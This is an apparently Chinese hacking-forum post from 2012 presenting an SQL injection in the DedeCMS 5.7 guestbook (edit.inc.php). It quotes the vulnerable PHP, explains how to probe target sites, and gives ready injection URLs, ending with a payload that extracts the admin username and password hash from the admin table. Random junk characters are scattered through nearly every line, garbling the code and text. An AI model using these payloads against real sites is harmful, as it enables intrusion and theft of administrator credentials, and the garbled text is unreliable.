找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3605|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7% x3 Q- p+ y0 ?1 S. J1 p3 H7 s& D

* v+ ?% w- \9 _2 K$ s9 ^漏洞文件edit.inc.php具体代码:
1 T1 r6 M/ Y* o7 S( G5 ?5 P
0 W, Y& Y! ^. I6 `3 P. X< ?php  ! e- ~" t; T5 Y: R! O$ a
$ A3 w: f! M# P5 O$ l
if(!defined('DEDEINC')) exit('Request Error!');  / H8 p( i, \  Z

( D5 b* L. _. S   
$ @/ b# `! \. S5 Z! T5 o, F, v7 L1 C0 s* [) b; z' i! M, F
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
; j* j* J2 g  V4 C' N) ?8 X3 O& S1 }6 \8 |2 r& `
else $GUEST_BOOK_POS = "guestbook.php";  
# B6 B5 ~; c/ h7 L
' x; V% h: D0 t   0 ~3 |; e7 |, x  R* t

- Z; D3 X5 B5 l4 m' b; l( {$ ]+ L$id = intval($id);  
9 J4 W5 k- \, a8 G& c# t/ [1 T
3 i" F9 D* t/ w7 pif(empty($job)) $job='view';  8 u6 t7 [" o& H1 D) K, A- K4 `

  P) I% r3 u- @, z   " s$ D* g) }! }, C

1 {- ]: f5 s2 u: Bif($job=='del' && $g_isadmin)  5 _* _6 q% K! U5 y* @+ y
1 |( U! t4 v" s; L1 Z4 G( Y) B
{  : a4 a! x' B3 I' `  \7 y; m

8 V3 @4 Z6 n6 w; c# ]$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
$ Q* P  }% o: \1 a' V: n& T3 t0 I2 W7 E$ X- x# v/ d7 M8 G
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
0 P, X5 f& F+ b% Z9 e$ w( p0 {- w6 i( ?; |: {3 p
exit();  9 M( K+ ^. Z& `
6 @, w) ?4 G( O
}  
: o! ]3 A; b; K; o4 G' H7 `7 P, _$ J
else if($job=='check' && $g_isadmin)  
6 g6 |2 D+ q3 [& e7 M% ]. t' g2 Z; w) \9 K+ F
{  8 l. r3 y  C/ |" T
' I* ?3 Q6 {: Y% z9 Z8 U
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  3 s: e3 c: O5 z5 n

% m; r4 M) P: [5 {9 vShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  2 G, [9 w2 r9 f1 h* I2 a5 m

3 ^- K+ t5 S3 B% V$ b7 E0 sexit();  
8 O' _% G' u8 v
7 [9 o+ b4 M* L( H% z}  7 R+ ^0 G: U* s# G
% w- l+ r7 I1 ?: i1 R% C* H
else if($job=='editok')  
" I( {# d! o0 E! U) N* f/ y' g6 S9 n0 b- Z* ~
{  
. r" l" i4 n* G0 c
5 q: Y" N, J* d; s$ }2 d' J. t$remsg = trim($remsg);  3 P3 n& }# B! U) h4 u: A5 |
/ a' S& V- J; `1 K; M
if($remsg!='')  * ^. X3 C) N$ C- a" y( W( v$ V1 O! F* H
; j; [+ ^6 B; S' W" E
{  2 L1 d, T( X) E& H
+ l2 `8 J9 }+ l6 ]! S$ o9 N3 W
//管理员回复不过滤HTML By:Errorera blog:errs.cc  ' O/ c  [9 H. D4 G6 @; ^

- @, h2 ^7 W1 Gif($g_isadmin)  ' K& X4 E, k8 M& {

: s( S+ Q1 _3 W4 q* K{  * o, `! s, _( S- _" i0 }
2 y1 l5 q% N1 r1 v: ?
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
2 b% _# m' ]; F- V8 n  F
% D0 V0 Q* H0 e. [//$remsg <br /><font color=red>管理员回复:</font> }  
; j. X- {/ U& L
; [( n/ J2 k4 q5 Oelse
) x" I3 D% W9 U, K+ ^- \# ^5 Y& K- c' M0 E4 P
{  
; V1 ^. @+ w: _; \0 _; S( H8 @/ {; L, s' x
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  - V4 U6 }* l( `7 @1 ]

, I. Y' e: R# \$ ]$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
$ r$ q: N8 `) _6 P) R/ w$ g% a5 a3 B8 F$ A
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
# `: T  D+ x$ A: X# J. L( H4 u- G; a1 q0 v8 R
$msg = $oldmsg.$remsg;  % Y# v. }* V: S6 |" K) }8 f" a: O/ m
' t  ]8 r; Y. o9 B% \' w
}  
( V- q. t" J& n# \, g5 N9 W5 h2 `4 s
}    w2 E, P7 L  ]9 r- |

& S/ }2 G" D9 ]; @//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
" \5 ]: {  x/ I* M. m, [' [. z) ?* I8 b  K, C+ \1 M$ P) A. u" i
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
5 n' \  b3 v' p3 R4 z3 n. f* {: i( c& A# H# v
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
0 _9 k' N* ^- L/ y' Z( o! @$ e8 Y% m; j+ p- {4 W
exit();  
% E5 F0 j5 m" f9 l. I- r# J4 c, D/ y! X7 r
}  
9 d4 p# m, X+ x) A$ m+ P9 m! Q  \# i6 v, E/ L) I
//home:www.errs.cc  : B4 [3 T: j: h* t1 m; Y. P
5 U9 p% [# D/ h
if($g_isadmin)  
, m( o) \* f; S% a9 n$ ]# B# [8 e( w7 t! f) t5 R" P. G0 n
{  0 M) L& ~9 y& q- q4 q# p
  Z: L/ N! |2 |
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  / N% ]+ ~; D" ~) d: \' B3 o% y

/ a9 ^8 N9 P4 W6 hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
% _8 ?6 I+ Z  ^3 h
" W" \6 @, i* {) Y# C/ m}  4 b: ^( Q" E2 b. e  Z& D

4 {0 b/ O! D+ V! X/ M$ {/ }else
* _! e, N3 ]! O. s" D: h+ a
6 z' n0 x, `, n5 ?# O+ g{  4 G5 r( ?$ v; Q9 r" m
1 Q# P% a7 f4 y9 w) K/ Q
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  / ~3 }/ a1 y+ ~
. }2 X- R! m- B
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  % p3 l2 C  E' x+ I* ?- I

, W" n0 A9 l4 E- I0 c. v" {- @} 漏洞成功需要条件:
3 W5 S2 }1 V7 O" x1. php magic_quotes_gpc=off
6 s% r* _. C+ o& J' j/ Q+ ^: w2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。) R0 z9 @. b, k1 F( |' J
9 U& o' y" X& Q0 Y; S8 _4 l& M- a
怎么判断是否存在漏洞:8 q7 V) v! q4 p
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,7 I% z' x7 L" @0 l9 g1 Z
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID. y1 O" l! A9 c& ]4 E7 e
访问:
2 U4 T8 S' g( k% N- r. {
. P( Q; \; x  _& I8 ~www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了! _% h% S9 G% w& n- h
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
2 J2 N! O: w5 ]7 c8 t! l
5 N6 i$ |8 T, @) ]9 e8 u6 V4 _* \; U8 v
* e9 {/ p0 _% a% k/ _1 W明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
4 B. h9 w7 U( H/ s( [如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, {2 A1 M1 q. X+ @4 o/ ]5 o那么再次访问
; ~: \, _- l) d6 H3 `( c+ ?; {% J: H9 y" s6 Z4 i* s  z# _
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().7 H7 S$ a: Y& x

6 w  v- i; Q6 i+ M5 }* d大概利用就是这样,大家有兴趣的多研究下!!
; F  \; f* t- C% j8 D( R9 n4 \+ t$ d( [- l; L
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!9 D- i, a4 V: |& G) F1 G& f

3 S; I& s; J" n/ S" N4 J/ gview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表